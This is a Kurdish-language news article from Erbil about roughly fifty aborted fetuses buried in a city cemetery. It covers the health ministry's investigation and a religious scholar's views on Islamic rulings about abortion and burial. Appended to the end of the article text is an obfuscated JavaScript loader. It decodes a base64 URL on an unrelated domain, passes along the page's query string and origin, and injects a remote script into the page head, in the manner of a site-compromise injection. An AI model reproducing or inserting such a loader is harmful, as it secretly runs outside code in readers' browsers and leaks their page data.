هندەك زارۆكێن ژبەربری ل گۆڕستانەكێ هاتینە ڤەشارتن
هەولێر، قائید میرۆ:
ل گۆڕستانەكا باژێڕێ هەولێرێ نێزیكی 50 زارۆكێن ژبەربریهاتینە بن ئاخكرن و وەزارەتا ساخلەمیێ لیژنەیەكا ڤەكۆلینێ پێك ئینایە، زانایەكێ ئایینی ژی دبێژیت: ژبەر برنا زارۆكی ژلایێ ئاینی ڤە تاوانە و سزایێ خۆ هەیە و ژبەربرنا زارۆكی بێی هەبوونا چو بەلگە و بهانەیێن زانستی ب تاوانا كوشتنێ دهێتە هژمارتن ژلایێ شەریعەتێ ئاینێ یسلامێ ڤە.
دیدەڤان ئاماژە بڤێ چەندێ دكەن، بەری چەند رۆژان ژلایێ ترۆمبێلەكا تەكسی هژمارەكا زارۆكێن ژبەر بری دناڤا گۆڕستانەكا باژێڕێ هەولێرێ هاتینە بن ئاخكرن و دبێژن: بەردەوام ژلایێ كەسێن نەنیاس زارۆكێن ژبەر بری دهێنە ڤەشارتن دناڤا گۆڕستانێن باژێڕێ هەولێرێ .
دكتۆر سامان بەرزنجی وەزیرێ ساخلەمیێ دیار كر كو لیژنەیەكا ڤەكۆلینێ هاتیە پێكئینان و داخوازكارێ گشتی ژی هاتیە سەر خەت، ڤەكۆلینێن دەستپێكی هاتینە كرن و جهێ روودانێ هاتیە دیاركرن و دێ ڤەكۆلینێن دروست بۆ روودانێ هێنە كرن و ئەنجام ژی دێ بۆ هەموولایەكی هێنە ئاشكرا كرن، چونكە ژبەربرنا زارۆكی رێكارێن قانووی هەنە و بابەتەكێ زۆر هەستیارە و ژلایێ شەرعی و قانوونی و زانستی رێكارێن خوە هەنە و گۆت: رێنمایی بۆ هەموو نەخۆشخانە و نوشداران هاتینە دەركرن و هەتا دایكا زارۆكی نەشێت بڕیارێ لدۆر ژبەربرنا زارۆكی بدەت، هەكە دەركەفت ئەڤێن هاتینە بن ئاخكرن زارۆكێن ژبەر برینە دێ سزایێن توند هەبن بۆ كەسێن تۆمەتبار و هەكە بەرماكێن تاقیگەهان ژی بن دیسان دێ لێپرسین ل گەلدا هێتە كرن، چونكە ژناڤبرنا هەر پارچە گوشتەكی یان نموونەیێن تاقیگەهێ رێنمایێن خۆ هەنە و نابیت بشێوەیەكێ نە قانوونی بهێنە هاڤێتن و ژناڤبرن.
دكتۆر عومەر مرۆ، زانایێ ئاینی بۆ رۆژناما ئەڤرۆ دیار كر هەكە زارۆكی چوار هەیڤ یان 120 رۆژ تەمام كرن، ئەڤە دبیتە كەسەكێ كامل و روح تێدایە و ب هیچ شێوەیەكی نابیت ئەو زارۆك بهێتە ژبەربرن، بۆچوونەكا دی هەیە و زانایێن ئاینی وەسا دبینن دەمێ زارۆك دناڤا رەحمێ دایكێ دا 40 رۆژ تەمام كرن نابیت ب چو شێوەیەكی بهێتە ژبەربرن و گۆت: بتنێ د ئێك حالەتدا زارۆك دهێتە ژبەربرن ئەو ژی نوشدارێ تایبەتمەند بڕیارێ بدەت كو ئەو زارۆك یێ ساخلەم نینە و مەترسی ل سەر ژیانا دایكێ هەبیت، یانژی دایكا زارۆكی تووشی نەساخیەكێ ببیت و هەبوونا زارۆكی مەترسی بیت بۆ سەر دایكێ ل وی دەمی دروستە زارۆك بهێتە ژبەربرن، بەرۆڤاژی بێی هەبوونا بەهانەیەكا زانستی ژبەربرنا زارۆكی ب تاوانا كوشتنێ دهێتە هژمارتن و جوداهی نینە ل گەل كوشتنا كەسەكێ ئاسایی.
دكتۆر عومەر دیار كر ژی، هەكە ئەو زارۆك یێ نەشەرعی ژی بیت هەر نابیت بهێتە ژبەربرن، بەلكو یا دروست ئەوە دەمێ خۆ تەمام بكەت و بهێتە سەر دنیایێ و ژلایێ دایكێ بهێتە خودان كرن، چونكە هەكە زارۆك ب رێیەكا نە شەرعی پەیدا بوو یان ب رێیا زنایێ ژی بیت، زارۆكی چو گونەها خۆ نینە و نابیت بهێتە ژبەربرن و گۆت: ل دادگەهێ ئەو بابەت هاتیە ئێكلا كرن، دەمێ زارۆك دهێتە ژبەربرن یان ب هەر ئەگەرەكی گیانێ خۆ ژ دەست بدەت دڤێت بهێتە كفن كرن و مینا هەر مریەكێ دی بهێتە بن ئاخكرن، بەلێ هەكە روح تێدا نەبیت بەری بهێتە سەر دنیایێ هەر ارچەكا گوشتی بیت، بتنێ واجبە ل جهەكی دناڤا گۆڕستانەكێ بهێتە بن ئاخكرن و رێز لێ بهێتە گرتن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
